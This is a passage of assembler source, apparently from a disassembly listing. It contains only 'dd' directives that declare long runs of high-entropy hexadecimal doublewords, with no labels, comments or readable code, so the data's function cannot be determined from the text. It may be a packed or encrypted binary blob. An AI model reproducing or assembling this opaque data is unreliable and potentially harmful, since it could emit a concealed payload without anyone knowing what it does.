		dd 0E2414606h, 8DDCB109h, 0BD68419Eh, 16AC3064h, 2E33BBAh
		dd 7C80C774h, 713F84C8h, 0A0759230h, 5FCAB9Bh, 448D4626h
		dd 48BC4029h, 9E1B8C50h, 17070905h, 9C922B71h, 20D06834h
		dd 75CEE4EDh, 0D6B60023h, 8F1C9EF9h, 6D672C4Fh,	7A64B968h
		dd 640FC0C1h, 1DB5892h,	0BF27EB80h, 9C60FA66h, 0DD81EDF1h
		dd 6B372C74h, 0FC0860EFh, 49324E0h, 0E4AC2339h,	0B502CC30h
		dd 33EDDB9Ah, 4CC0C213h, 838F0634h, 60C4BB5Ch, 8B042E98h
		dd 0F88A7142h, 0C628DC92h, 8040EE54h, 80EB054h,	83AA1458h
		dd 0C22722BFh, 0CD20C8DAh, 0E67892B3h, 0E5EE17h, 5DFD9689h
		dd 0AFD921E6h, 0D1022890h, 0B702BABEh, 0A1148CF5h, 2ECE80C3h
		dd 0D10435FCh, 0ECEE64C5h, 0C0D004C4h, 0C444B471h, 0B38767A0h
		dd 804F2018h, 80513B58h, 0A89AE8C1h, 60804F25h,	0A0FF17D4h
		dd 0A8C08Dh, 84B82E51h,	5648D12Ah, 0CA428901h, 621715Eh
		dd 0C2695880h, 6A920BE2h, 0D63A3E17h, 1DB4C420h, 813400A1h
		dd 375689C9h, 9338E97Bh, 13E703Bh, 70C18ED1h, 0C74D871Ah
		dd 6F6CAA90h, 6EECF80Dh, 0E9032604h, 0A08799Fh,	1F74C268h
		dd 24DE89h, 3BC5320Ch, 0BD005558h, 77D1A17h, 345D5F7h
		dd 8105E5C1h, 4B7601C5h, 1D2AF507h, 0EBCF1703h,	562886EFh
		dd 402B0118h, 0E831236Ch, 328F46E9h, 55435B1Eh,	1050D90Ch
		dd 0B04107B3h, 39B0424h, 5BA32CD8h, 840F3898h, 0B35C1131h
		dd 6600022Ah, 0AADD0C8Bh, 75D7A15h, 0FFF9F1E9h,	5350B610h
		dd 51663A52h, 8030B300h, 8C0FEDC3h, 24D48A36h, 0C0760F12h
		dd 898305EBh, 4C1807DCh
		dd 0E210E3D0h, 9479C427h, 93BA003Fh, 15713647h,	0A802EAC1h
		dd 24348980h, 9100E0BEh, 0F2311C4Dh, 6D6015Eh, 4C6835Ah
		dd 8B722287h, 0B0C121E6h, 0CD1EE99Ch, 515B8E80h, 0FE2553B9h
		dd 0CF29661Fh, 79A9E68Dh, 33503306h, 0DEEC148Bh, 5251B107h
		dd 79B61FBAh, 6337FAF4h, 0E18954DBh, 80EB07B9h,	5684BD0Eh
		dd 0F2012C42h, 610AFA5Dh, 0EF804272h, 0A39FC36Bh, 0D1408E2Dh
		dd 6001B9B1h, 81468705h, 0C0DF35F1h, 1CD9F716h,	83C1E1D1h
		dd 49E3E907h, 0E6023478h, 88B0F02h, 0EE0E4825h,	0A7900137h
		dd 5EF08932h, 0B4C24148h, 0EAE5105h, 0F8DB9D74h, 0E7EF2CCh
		dd 7B96A3FFh, 0C9E3007h, 83BC4A9h, 0A08BE128h, 8DA48178h
		dd 3702C1FCh, 0BE9CB28h, 815D0461h, 40EF3533h, 3E0C180h
		dd 79565724h, 1AA65407h, 7A3B86F3h, 2BF601ABh, 0D5315659h
		dd 34EBE45Ah, 4B5220Eh,	34A5D429h, 6BC72C8Ah, 0F7241010h
		dd 0F68103DEh, 40C25178h, 15A0CEB0h, 0F2D121Fh,	8D33A97Dh
		dd 0EEE90503h, 4D10050Dh, 218FE380h, 21835874h,	68BD1128h
		dd 8F865731h, 0CFE9C6DFh, 0F506AB4Ah, 347A4849h, 653D3064h
		dd 57DED19h, 178C9158h,	0BF090CFFh, 63AC0D6Ch, 1298FA01h
		dd 29E2EA3h, 64136859h,	0B850FC98h, 10579400h, 0E8D14014h
		dd 0A7D051F7h, 0C2269CC5h, 0CA5B5628h, 20CC81A6h, 505E782Ch
		dd 506807C6h, 1C6953h, 15F7BB24h, 0EBC139ACh, 0E3280373h
		dd 4740C902h, 1DB30335h, 44012142h, 83FB5644h, 51019682h
		dd 88420505h, 680B8102h, 29C42A01h, 72D51D0h, 4023A348h
		dd 0DCFFF61Bh, 1690DD44h, 82F50128h, 59384100h,	48D8F74Ch
		dd 0C4E91840h, 0C083308Fh, 4870212h, 4B8CEA24h,	74325551h
		dd 4C80E3CDh, 1A747F12h, 18001605h, 200D56A5h, 98756032h
		dd 313B0CB4h, 0F0BE2633h, 7004BF2h, 49C1EA81h, 0A21E1FDh
		dd 9BFEE9D5h, 0E6EF84E0h, 0F7D6C148h, 0C00247DFh, 1D238DC7h
		dd 0FA89D303h, 4414D5E9h, 0FC8A333h, 5B6DEE53h,	90179AC4h
		dd 2093C29Fh, 2C5AD009h, 0C98E870Fh, 0EB5D7F0Eh, 3CE5E946h
		dd 0E9C15347h, 2C128A21h, 0F0E90602h, 0F7104954h, 1272FEA4h
		dd 83E04573h, 0E19A1DC1h, 2666D390h, 5F198D90h,	5BAA5C31h
		dd 0BA49F34Bh, 5FE976D8h, 0BF106960h, 7A76708Ah, 6A87304Ch
		dd 2E4C014h, 0FECC801Ch, 2553C45Fh, 0CFCAB958h,	0F38A2CBCh
		dd 33720F68h, 58DD5038h, 5CAB3C83h, 2FBD4AAh, 62E0CF81h
		dd 0C1806FA1h, 0D04526Dh, 67C8E918h, 1EF9BB22h,	8960550Eh
		dd 0C4A7DCABh, 851973E5h, 0C2312200h, 5AD30158h, 5C92A187h
		dd 2AE96A24h, 2CC84829h, 95FD5EBh, 1C866CB1h, 0C718F31Dh
		dd 0F7395758h, 5F0BC2D3h, 83A9C6E9h, 23430400h,	0DAB02B8Eh
		dd 0BF575000h, 5196398Ch, 5D7A30E9h, 0C8845C28h, 0C9DCBDA0h
		dd 0DA68A8C2h, 98CC683Dh, 4914996Eh, 6FA45414h,	5AC059A2h
		dd 0E91408A9h, 24620BD2h, 7519257Eh, 0EE60F90Ch, 333C905Bh
		dd 5A72F15Ch, 0B7EA05B1h, 83E35F0Ch, 0BD401F6Bh, 581A8B70h
		dd 0B8A43AAFh, 0E55E1232h, 114A3F0Dh, 3AE2C734h, 6E8675E6h
		dd 0E9308E0Fh, 0A5BE5602h, 64103853h, 26FF0BD8h, 50033FA4h
		dd 4A8A137Ch, 0F556B386h, 1A9EC100h, 0CF01B192h, 9A27FC59h
		dd 0DA891EE5h, 0C17E65Bh, 0EB812CA3h, 84D1A0C4h, 60C20B13h
		dd 68556EA0h, 30262C7Ah, 2008C027h, 0F8ED8003h,	156774Ch
		dd 20F7DD58h, 3E545855h, 0BBBC229h, 0DB996853h,	830B82D7h
		dd 413302EDh, 6BB3181h,	89AC4841h, 7DEA709Ah, 282E83A4h
		dd 0BA030026h, 5187E46Dh, 4B51AF50h, 42828BEAh,	5E08950h
		dd 3C113AA3h, 0BA54FD60h, 0A57BF4h, 0F3F28138h,	52350446h
		dd 0C173F762h, 0CF8F0708h, 0C8C5C0Ch, 0B60F94C2h, 876B42C8h
		dd 68A13Bh, 0F6E80E2Dh,	0C51F01C3h, 4B895E58h, 283F148Dh
		dd 31FBEFC0h, 0AD38D932h, 44AD2155h, 4D1214DEh,	458A8B98h
		dd 50EEC180h, 1687F605h, 7376B4Ch, 31D107C8h, 819CA5E9h
		dd 314BC36Dh, 0F357C94Ah, 0D0FFCA93h, 0CC17F88h, 0EAD104E2h
		dd 6C2658F6h, 55150D1Dh, 3CD213F4h, 2F966444h, 0B25CAD54h
		dd 52991951h, 0B0319A33h, 685C0D06h, 0BE1758FBh, 9D03D5D0h
		dd 8723522Ch, 52F5B43Dh, 0E47719AFh, 0D74458FEh, 9B528E9Ch
		dd 59F1BF8Fh, 2A57C983h, 69EA7C7Bh, 0DF118387h,	9201C1BEh
		dd 0C849F53Dh, 54F7315Eh, 66C38B42h, 4A068AC7h,	66E9C145h
		dd 3E60F602h, 0DCB89DB4h, 4D26C67Dh, 0F181BDF4h, 1FA82FFAh
		dd 0CE010A60h, 39216A12h, 61CB895Ah, 0E96E0CA5h, 0A7C9E36h
		dd 60EAF01Dh, 10C685A0h, 7851317Ah, 847A2198h, 2909E908h
		dd 7B62C297h, 0CD4B686Dh, 6228FC9Dh, 3C878CE2h,	40E6F269h
		dd 6549CA4Fh, 5762D812h, 9B85F309h, 31F6C17Fh, 7D519388h
		dd 4C53BE14h, 49F903E4h, 8C4558EDh, 1BE44E80h, 0E9151250h
		dd 52075257h, 698D09F7h, 5CC08A06h, 58638760h, 0B3E18951h
		dd 1CE90AB5h, 7AC838C9h, 870622B4h, 0C15CE581h,	21368CE9h
		dd 0F3FC413Ch, 6F2D6704h, 651602CEh, 0B9D93078h, 31F0718Dh
		dd 8F70CF5Ch, 33E2E952h, 220C4027h, 0A40624E9h,	63E39222h
		dd 0C0C8310h, 10164EE9h, 89D402BAh, 0FA01F94Ah,	315D9740h
		dd 6E80E694h, 8859CE30h, 0FE5A1EF4h, 0DA06F9CCh, 0CAFC13E9h
		dd 8376438Ch, 83246A91h, 0B6F036B8h, 2BA8012h, 0B9C35630h
		dd 0A988128h, 44405C3Fh, 11D242F1h, 840F4700h, 4C109A06h
		dd 75283E53h, 96FB0079h, 0D789A4B7h, 0FD0C295Ah, 215369E9h
		dd 70AF0DC3h, 48572E39h, 3194D85Bh, 0B50DB212h,	84301FD3h
		dd 71145CE5h, 50A4B5A7h, 0CA3C8E8Ah, 0D081F425h, 280A5268h
		dd 370C9633h, 3DEB410Eh, 0CFBDFB3Ah, 70ED0198h,	0F2EE5856h
		dd 0EA258362h, 0C709E3D8h, 0B062FB3h, 0ABDE517h, 50457683h
		dd 1A7726EFh, 0EB835A06h, 256D3304h, 832F999Dh,	269C5871h
		dd 71AA4EC5h, 73589096h, 77053F2Fh, 0AC7CE00h, 0D6F75891h
		dd 606C998h, 0A1728B0Fh, 43F6018Fh, 1559804h, 1A0070F0h
		dd 35880F80h, 826CDF4Eh, 0DC717955h, 1AE0D98Dh,	58083A60h
		dd 417DAE88h, 0D1E6E86Ch, 4B69E8C1h, 40924828h,	30F03583h
		dd 74680417h, 0D4CD034Ch, 2CF1519Eh, 1E5A94C7h,	3D44BB53h
		dd 18C20D41h, 5F2469B4h, 42E46560h, 71DC9E19h, 1A270B2Bh
		dd 5E5E4113h, 0AB0D2D95h, 2144E358h, 0FAE8924Bh, 0F2F09874h
		dd 0A0109C70h, 566D02C7h, 1C8B735Fh, 21F3DA44h,	203528h
		dd 66F37AFh, 8A0F0D09h,	0D13F2289h, 0E0C383EEh,	0D6FB3B69h
		dd 214CBA6h, 782740ADh,	0A1C4B384h, 3352078h, 60FE098h
		dd 0CF39B0A7h, 698C4CC8h, 0D8DB50F7h, 0BB6666A4h, 28F10B67h
		dd 0A76808EFh, 8155004Eh, 0AB0E09C7h, 0F7045C76h, 84EB42C9h
		dd 586BA880h, 16F1F41h,	8D1BDFBh, 402A1D20h, 0D9904064h
		dd 6D629931h, 96043FC2h, 0C46B7C08h, 3090496h, 85A63C87h
		dd 98DDEE7Fh, 50560EA6h, 0F5C00A59h, 2401E45h, 30270CC0h
		dd 15018A1Dh, 801AE9EAh, 94D0AA40h, 0B435004Ch,	0C17607DFh
		dd 0BECAE850h, 0BDD08F41h, 4E18265Ch, 0EF6B1A90h, 2F2661h
		dd 945BDE88h, 0B021FADh, 0B0143426h, 0B672F4D3h, 0A6D37A5Ch
		dd 8B12240Ch, 61858692h, 1720175Fh, 0B25A5107h,	130A3334h
		dd 8D5B64F2h, 49A43C62h, 0D3FBC441h, 0F69AB593h, 2A2C847h
		dd 59CA2905h, 988725CDh, 0D028DABBh, 8C0FE97Dh,	0B41EB3D3h
		dd 0C7C28913h, 0D86840ADh
		dd 4074286Dh, 0AA4C01FCh, 95E9DE80h, 0DD363958h, 54B376BEh
		dd 70DE183Ch, 76AC61Dh,	29C53D10h, 0D765D3F3h, 0E1686609h
		dd 71409A0Fh, 584FA4B1h, 3C948DE9h, 30B0B701h, 0E3C05BFCh
		dd 0F3801958h, 5047CCF2h, 2B551F6h, 0E8885007h,	0C540D0F6h
		dd 0B8536658h, 7E8509A4h, 2F043418h, 215A017Ah,	32621C4Fh
		dd 76A6EB2Ah, 68B63259h, 528F3C87h, 20BBDC6Dh, 0F78003DBh
		dd 0AC17B41Ch, 0BF18BFFFh, 0C2F9273Bh, 0C50F7C9Ah, 0E6EB28BBh
		dd 9414E381h, 0D129960Bh, 6D08B93Ch, 5B5A1329h,	15C35C08h
		dd 838CBC59h, 9E26680Ch, 12698539h, 12D4C73Bh, 67DE97A2h
		dd 0BB2AC1F5h, 9B4B3451h, 6DD011Fh, 509BF15Ah, 4E11909Eh
		dd 0F360409Eh, 5471A2B7h, 0BA60E894h, 4C151C07h, 603B968h
		dd 4B23CD63h, 4933038h,	0EDE97069h, 77FFB8D0h, 0BF0B23Ch
		dd 542F23F9h, 43E9B0B8h, 9C5D5940h, 40B088C0h, 0A1F83009h
		dd 0E689569Dh, 6D06468h, 5CD74192h, 0EC0BB050h,	0C348285Eh
		dd 53520304h, 0C7B6EBB7h, 2585FE04h, 16F44D04h,	1374C8B4h
		dd 0D1E9E7Ah, 300D70C6h, 0ACB25E75h, 0C4EF504Ch, 53054CABh
		dd 919F0C54h, 0FB1ECF8Dh, 52C0A513h, 6AFFACBAh,	4A015C7Eh
		dd 607E474Ch, 84ED2B0Dh, 877B4750h, 16286334h, 0A157FC0Bh
		dd 0DF015F29h, 24C642E6h, 31003C70h, 5815E9D2h,	1C1EAEA4h
		dd 1812669Dh, 0CAC12932h, 3F85C0FFh, 2D0EC0FEh,	309F7A81h
		dd 0E84046B8h, 80E707D0h, 3FFE0FC7h, 7C1EC8Bh, 55A03EC1h
		dd 5B54CAFFh, 85410092h, 18E9AB15h, 4A953169h, 0F464EFh
		dd 0E28841F4h, 0F6DA8658h, 4D54D365h, 0CD0036B3h, 5179C86Dh
		dd 6F266BB9h, 0E102F1A0h, 0E1921D29h, 2F74CF04h, 0BD88998Fh
		dd 0C0D74EB0h, 0F9F107E5h, 4DC07492h, 2467045h,	1FF2A058h
		dd 0B6BE0402h, 835D7DE8h, 5F0DA16h, 0CE680129h,	0F83C0826h
		dd 7DB85971h, 10D8034Ch, 4E263C55h, 0C6751735h,	0EE59CC54h
		dd 83C603DAh, 124C940Bh, 203A3F22h, 886CF249h, 0AC9856E6h
		dd 2244802h, 497C2917h,	0FE175E20h, 28F70FCFh, 0F82C213Fh
		dd 0B025C5Fh, 98EA0E9h,	9084063Ah, 0AD66074Fh, 52CC373h
		dd 6822C249h, 0FACF8235h, 85704DE2h, 22815D5Ch,	96EB079Bh
		dd 0B4B55CAAh, 0F7C0B06Bh, 5095D000h, 114173B8h, 9A25007Fh
		dd 356C0D6Dh, 0A713AF80h, 0AF0131ACh, 0A6E9EF01h, 45A8C50h
		dd 0C8281D19h, 59660E2Ch, 5E39D8CBh, 12C8285Ah,	8B004BBAh
		dd 84EA813Bh, 0BA54502Eh, 130A208Ch, 1B7B4A5Ch,	125CCA3Fh
		dd 0C6B08F0Eh, 2AE49EFDh, 155AD524h, 694D4C0Ah,	320A8602h
		dd 3104E113h, 30F059C6h, 7938CF1Eh, 4E0C2C60h, 3F14A11Ah
		dd 0A372C301h, 140C4008h, 20564E58h, 5EF30127h,	0B52CF6B1h
		dd 6B680702h, 1EC7796Eh, 45F34B50h, 4F2D8866h, 50AF22D7h
		dd 295919C7h, 7B469239h, 0ECD19058h, 0F973EE5h,	4C80916h
		dd 1F444A4Eh, 0A10804Ch, 81E6945Ch, 4D782829h, 6DC7FD52h
		dd 0EDC30091h, 29FC226Eh, 96EAFAD9h, 0D3310C22h, 5E9A6992h
		dd 74EB517Eh, 79002DA3h, 5224AF50h, 0C420FF68h,	1D5D8775h
		dd 0D1F7CD06h, 0E5811F08h, 3EB909C3h, 5FB0A803h, 0E7417FE2h
		dd 7E6B604Ah, 38C60CDEh, 0D4387974h, 0FD006504h, 298C1848h
		dd 489859CDh, 0E9305D4Ah, 0BAEBC0E9h, 2242211Dh, 49CEBE81h
		dd 74871D56h, 57436559h, 0CDE9B221h, 4F06C558h,	0F8E18D0Fh
		dd 81F9642h, 0EC4337EFh, 620C4A21h, 9343EA22h, 20884A4Dh
		dd 718412EDh, 64C953Fh,	0A5784947h, 3A01335Ah, 36F2685Eh
		dd 4CC2CE68h, 0AE82BE57h, 6EEC2834h, 9C09745Ah,	50DD5ABAh
		dd 0A652C929h, 0CE91209h, 581A32FBh, 1C4095EEh,	22D86923h
		dd 1D9904CEh, 0D1341491h, 8948C149h, 343066E7h,	33C80C83h
		dd 2DC86A21h, 4025173Dh, 784DB811h, 16987BEEh, 3ABEBCF8h
		dd 0BA066612h, 0B00F0F35h, 2EC65CD3h, 0A80B2C2Dh, 2D55654Eh
		dd 4F7A734Fh, 0AC889435h, 2FEC5932h, 0F4CEF17h,	676641F7h
		dd 0EE3D17F1h, 7288BCE1h, 380811BCh, 60BD2043h,	805B26BEh
		dd 300BD9F2h, 0B8148BD4h, 30CC8695h, 0F608C1FEh, 0B20A52DCh
		dd 0C7D8E990h, 5173BB87h, 0DBF75811h, 7A70AC20h, 0F590578h
		dd 0C8842E80h, 5B122F97h, 3F0518BCh, 0ACDDFB54h, 80C37D31h
		dd 2C5ED189h, 18D65857h, 43EA3F52h, 12FDDBCh, 477F6849h
		dd 77502923h, 992FE0Ah,	0CB7EE91Ch, 7A0BEB6Bh, 2154B0Bh
		dd 3416E8Ch, 0A015CDFEh, 4F95F648h, 0FAB1B805h,	5F7AF9E4h
		dd 6828308Dh, 32955330h, 1D1D7B99h, 225397EBh, 0D2C85B87h
		dd 22BC27E9h, 3802492Ch, 0CE033E68h, 336700CAh,	0F18122B3h
		dd 6D026B55h, 5E890F64h, 8081AF7Fh, 1B19686Fh, 0B1D1092Ch
		dd 0C2495C66h, 56D53879h, 6F347B5Ah, 0C8B20A96h, 5FFB290Fh
		dd 59131AACh, 8CD4F626h, 1887708h, 8664F380h, 0F6EFCBE3h
		dd 10D208D2h, 7302390Dh, 42C1492Eh, 81249072h, 0B8A626DBh
		dd 0B902032Dh, 3655C0E8h, 4E126C1h, 49136Fh, 22DF25DFh
		dd 709801C8h, 5DEE2903h, 271C5B68h, 8482C74Fh, 962FB21h
		dd 3926AD5Ch, 0D210F3E8h, 0E1D74950h, 3F800C20h, 5C2EE8C3h
		dd 8E0F8580h, 0CBA25E6Bh, 9E940AF8h, 58305259h,	2D2A0B48h
		dd 0C78A00E7h, 0E720127Eh, 929C7970h, 0C964BB0Bh, 0E915323Eh
		dd 783F20AFh, 4EDA445Dh, 7F843153h, 4A763F8Bh, 437574EFh
		dd 1B42B8C1h, 650500CFh, 11074F5Eh, 8B79A335h, 0BC20153h
		dd 1CE9505Bh, 0DAF6ADA0h, 3048E280h, 93473EFBh,	0D42175B8h
		dd 0B2074282h, 1A4A1D8Dh, 0D9D26AC2h, 0E97B6661h, 0BEA5BC15h
		dd 0E99C3C15h, 0B52156D7h, 84040313h, 0E487AC7Bh, 4C06FA09h
		dd 255972E2h, 0E30214D3h, 0E50BBBD6h, 0CFDC0C03h, 0A695F61Ah
		dd 0B01F56ECh, 5585A690h, 202A8EC5h, 7CF78022h,	72F4FAE0h
		dd 446FD69h, 12D26BDEh,	44CC7391h, 7737E314h, 82F98A8Eh
		dd 54F97B4h, 12C883C3h,	62B6FB3Ch, 6866025Ch, 408B72Eh
		dd 0A0E9FE30h, 0EF95D1E1h, 89062006h, 71E80F16h, 268CD508h
		dd 66C30160h, 0F1161F68h, 218254D3h, 518B76D6h,	7CBB3A8Fh
		dd 0D30F816Eh, 0C460529Fh, 681B40D2h, 1027ED27h, 9B5F54F4h
		dd 28948B2Ch, 68CF2A49h, 0F6F240FBh, 80309641h,	8E83DC1h
		dd 0A5F2602Eh, 0FA95BEB1h, 1B8A56F9h, 59C913FCh, 5A96A8C0h
		dd 0C4C73437h, 3D9AF364h, 0C9F754D2h, 0AC4CBA6Eh, 0F6430BC4h
		dd 1C689C50h, 51F8005Bh, 0D1F6C9B1h, 1EC18002h,	0F9883BE9h
		dd 224B6A07h, 65B5255Ch, 0DBAB49BAh, 0E8A05BEDh, 9D1E679Eh
		dd 477254Bh, 4EA8CA6Eh,	0E2B583A3h, 63532C5Fh, 0ABEB8180h
		dd 0F6296387h, 82544DD7h, 8468C204h, 0C084EC59h, 640740BFh
		dd 0E9CA0C29h, 311E2D43h, 782EFC9Ah, 876999D4h,	994BD0A3h
		dd 0AD2054BFh, 6AEFDF2Bh, 0D0AEC9A0h, 43311741h, 64033BFh
		dd 14BE10FAh, 8BC3B91Ah, 70C5EADh, 57D2F759h, 8DD46EAh
		dd 143FC0A0h, 0D648D00h, 75F5D4Ch, 9417735h, 0C2294F24h
		dd 81809ED1h, 0C9678FF2h, 2EE9256Ah, 0D829C0C0h, 0DC4DC6EEh
		dd 0B2A2929Eh, 26B3EDCFh, 5690E15Ch, 0B576825h,	84B45F5h
		dd 571D30D4h, 9630788h,	0DD03555Fh, 1D005EE1h, 7EC5BE56h
		dd 81320Bh, 0F352D6EEh,	0E3FBE91Dh, 49B94BA4h, 0A6EC5444h
		dd 0A4EB5BCDh, 1C15007h, 4A6058C3h, 0FB09A002h,	8F3C528Bh
		dd 321C8712h, 8FA7BF90h, 1756255h, 5140377Eh, 0B08895B5h
		dd 0D585248Bh, 4C2EB88Eh
		dd 793E40ADh, 1240BF8h,	82064FAh, 42730CC2h, 4FA140F1h
		dd 0A098950Ah, 45811201h, 8A01F044h, 5E13514Dh,	27609600h
		dd 0E4E6A31h, 4BD53A9Ah, 181B0E60h, 187DE130h, 0C9304090h
		dd 0DBCE0C1Ch, 31700B41h, 40065EF5h, 0BD3CACBFh, 0FA8A9480h
		dd 1F060490h, 0EDFC2304h, 359B660Eh, 0ED28BC9Dh, 1E586008h
		dd 7A2E376Eh, 49D31AC0h, 68010FE1h, 34081CD5h, 1614241Ch
		dd 56FF042Fh, 0B55C0A44h, 0E0C00BC2h, 80C8E909h, 9B9DD368h
		dd 2E55C12Eh, 8C410A63h, 794630F4h, 8BF22649h, 0FBC28979h
		dd 53009459h, 206D39BBh, 0D3F7283Dh, 3CE609FCh,	0DE20687Dh
		dd 0AE24F381h, 0E0AAA225h, 837063C4h, 0CA1362F7h, 29D3C44h
		dd 19310BEEh, 0A2E8E6E9h, 5302CE2Ch, 0D82862B3h, 0B2645A5Bh
		dd 0ADE9133Bh, 8860B25Ch, 754F080Ch, 0F102D432h, 49B81FF7h
		dd 65806E83h, 3EA74325h, 46A0D1B8h, 1383548Bh, 3F417D2h
		dd 5FF82904h, 0F74CC69Ah, 44D6F72Ch, 0CC73CD1Ch, 3ADA1054h
		dd 8F5D24C9h, 0E64A0FEBh, 77A38FF1h, 45F4BE5h, 0EC3C3309h
		dd 7C2FC657h, 7A1770FDh, 57D8E9E8h, 0EB801359h,	89B50BF3h
		dd 0D996EDE2h, 0DD08BB54h, 0EE015B09h, 0A183505Dh, 0A0AFCC53h
		dd 68127B34h, 9347742h,	0E6A46C2h, 0CB8B081h, 34A1EFDCh
		dd 680EF995h, 65307596h, 0D5F75AB7h, 5EA69555h,	54F3DACh
		dd 8E014549h, 3DF7A888h, 0F3DE4D76h, 52009A58h,	0EA806AB2h
		dd 0DA1B8654h, 3E08C3FEh, 0F20F0112h, 7E9C095h,	5C3E2286h
		dd 0A62CD32Ch, 5685239Ah, 194D4FB6h, 0A4396C15h, 102F8A5Fh
		dd 9990DA07h, 0B9518012h, 0AE48F92Dh, 6D43314Fh, 252134E9h
		dd 2D69EE41h, 533F745Ch, 0DDF06877h, 0C31603BCh, 0D1F7A7C7h
		dd 4E69C029h, 0B992975Ah, 255C3D5Ch, 8063C7E9h,	6168A2C0h
		dd 0ED697B4Bh, 0E913EF0Bh, 6017F147h, 0C13DFE23h, 2C730180h
		dd 4C8285Bh, 439152D3h,	638A1719h, 5C4A20F2h, 690BD80h
		dd 0BF5A6541h, 3E900B94h, 2BD54F41h, 0ED2B5869h, 86912262h
		dd 9509F6B7h, 6894814h,	36E15233h, 5314B458h, 30AAB8B7h
		dd 10CD2D5Dh, 5C963B7Ch, 0C2BCF507h, 1C852B4Eh,	77E2AD0Fh
		dd 2116B82Fh, 535AD7C5h, 88FBF470h, 2D1FD2C7h, 7DFB3098h
		dd 0F8132EE9h, 88C388F3h, 0F6108734h, 0B80267F8h, 4D14481Bh
		dd 9D8EBBC1h, 0A4D7CC27h, 0F7424342h, 6130E2DAh, 25D03C60h
		dd 28EF982Bh, 18F7835Ah, 3A9306E9h, 0E3038143h,	46F23D47h
		dd 251EB6C1h, 62231377h, 790030CEh, 49C659F5h, 2630540h
		dd 891CC009h, 4BD458C1h, 2B204A87h, 144C2933h, 0ABD5510h
		dd 30B3E909h, 60FF19E6h, 0D48A0D10h, 98E9503Dh,	2D00DFB4h
		dd 1F3B2E91h, 52D01429h, 0CC5108BAh, 50CE5CEAh,	20B5B555h
		dd 0CA370510h, 623FF6DBh, 0F82116E7h, 6A8284h, 0EF81DF01h
		dd 0BE221764h, 0E83C1D51h, 51BB6B84h, 0ECCA3242h, 7B9AF2CCh
		dd 59636816h, 37A0E08Dh, 0CC90A0h, 511717Dh, 9A70C8BEh
		dd 76E9330Ch, 5D582238h, 0E9F1CF59h, 0DE132B6Ah, 6284AD09h
		dd 0D68A6356h, 0A8989803h, 54F98884h, 99AA352h,	5D6B080Bh
		dd 96929788h, 51EF8B5Eh, 35442EE0h, 6FE2D889h, 0A512413Bh
		dd 0DBBBF54Fh, 2E708411h, 3215A848h, 2912BA10h,	7D47B220h
		dd 0BC1085Bh, 4ACDEF7h,	43E20064h, 0F52996BCh, 78E5E915h
		dd 3AF17683h, 0B4770644h, 539FEBECh, 594649A6h,	78FD9280h
		dd 0DBB642E3h, 28670508h, 20EB01ADh, 0E7D16034h, 9DCFE447h
		dd 3703581Ah, 52A9021Eh, 8BB0C18Eh, 0ADD25AA4h,	5F62E432h
		dd 0F448D259h, 98BF96ADh, 0CD839F30h, 8BAF0E65h, 251DF0Ah
		dd 75F07021h, 3CC28B72h, 0CC37DA68h, 2A40C9Fh, 0F5DA1087h
		dd 205E6400h, 8959CB01h, 96E912DEh, 819A347Bh, 485AFEF2h
		dd 916EAE6h, 0BC09F148h, 0DD0A00C2h, 904A1933h,	0A1EB04ECh
		dd 0C0FA7F1Bh, 0A9480ED7h, 0C6E93E1Dh, 76390A0h, 0C8391E51h
		dd 0E1FACC89h, 0DF6AD70Fh, 1AA71C34h, 57D20244h, 0D95C07C0h
		dd 0A020195Ah, 57C2C1B3h, 79297A79h, 40285CCDh,	14B55A0Bh
		dd 915C5B75h, 3F8821E2h, 778FFF27h, 43BA0081h, 0FE700AD5h
		dd 0F28103DAh, 8F30456h, 23E80C00h, 0E2C1026Fh,	0D784D605h
		dd 0CA4583h, 662BC2D6h,	95BCA4C4h, 0E9DA053Eh, 82582FE8h
		dd 3F527E86h, 0D66B3A87h, 79E4CD02h, 5058D49Ah,	0CB529409h
		dd 5B1F0962h, 27138898h, 9E6F1427h, 0D5E96250h,	0B3F4E3D2h
		dd 5163EABEh, 0A9E39C54h, 50D1011Ah, 0A05E6056h, 266A3E44h
		dd 1E614D16h, 8CA26401h, 5F0BD7F7h, 260C17Dh, 0BA656C96h
		dd 0F9013E2Ch, 0C54FE916h, 0F6890119h, 2021CE69h, 7F3D6C12h
		dd 0CD1FF65Fh, 7CD76AD2h, 0B6F0BC12h, 7ED935F5h, 37D50B14h
		dd 7EAB2CD1h, 50166123h, 2CB28D04h, 0B884FAE8h,	0E0D10756h
		dd 51E38B81h, 0B95B9751h, 58C28800h, 17B8073h, 0AE35662Fh
		dd 1469C8CCh, 1AD6A0B9h, 0E1A4F981h, 0FC6284F7h, 27B2A7B0h
		dd 4DED517Eh, 0C087003Ah, 32043F51h, 0D54765BFh, 31FDC481h
		dd 2520A806h, 0CEFE3C2Dh, 5DBB8012h, 0DEF64D1Fh, 66684204h
		dd 94A35E05h, 4B74247Ch, 53EF6FB3h, 580F8BAh, 4EDC2A70h
		dd 43016390h, 0E9086628h, 743E557Eh, 0A409A876h, 58873CB8h
		dd 2B71EB8Fh, 0B8DB642h, 0FF653D59h, 0ED15E9BDh, 5F93EA57h
		dd 543C0857h, 80C4AF3Ah, 2E27BB44h, 0F75517AAh,	3260BD3h
		dd 4B192F80h, 4A981EFDh, 32E0F305h, 0CFAC5FF2h,	2368664h
		dd 79446468h, 40AAA43Dh, 6602AC05h, 0C8294516h,	4476390Bh
		dd 8CE2946Eh, 0EA3F51B5h, 0B3D8F3A2h, 0C4C52932h, 0F07E4DEh
		dd 0B69BBEEh, 1F29D169h, 0D97F2E50h, 0E81F4EF4h, 0B4CBCF9Dh
		dd 31047A24h, 0F4A5627Dh, 0CC286B1Dh, 6E74E1E9h, 0F0DE9888h
		dd 9DEBA87Ah, 600EFEC3h, 0BE5680B1h, 0A82C2AD2h, 0D928890Dh
		dd 0D672501Eh, 8D1DE984h, 0AC4E9ACh, 0EE4C1F53h, 1BD40B0h
		dd 5C510DF5h, 0F402E5C1h, 0A7D278D2h, 3693FF00h, 0BBA41E4h
		dd 3344EC10h, 0F8C05970h, 4D932F13h, 0EAD16829h, 0E5A1808h
		dd 12262792h, 0A7A86E69h, 0CC33219Eh, 0DF65504Dh, 2E090513h
		dd 0B4F03195h, 0A0BDD550h, 3BEFEB2Bh, 0A4144967h, 0C3C7C7D6h
		dd 8095DC35h, 182EA647h, 0A4825D4Bh, 48088BEBh,	0C0142960h
		dd 46C468D9h, 5A0037B0h, 0D4BFF2B8h, 0E62C2D05h, 1411EBCh
		dd 0B00728D0h, 6D24203Ch, 14270B90h, 2089E633h,	15981BECh
		dd 0F71FA309h, 20F88578h, 5A8B69E0h, 0E2215602h, 4814207Dh
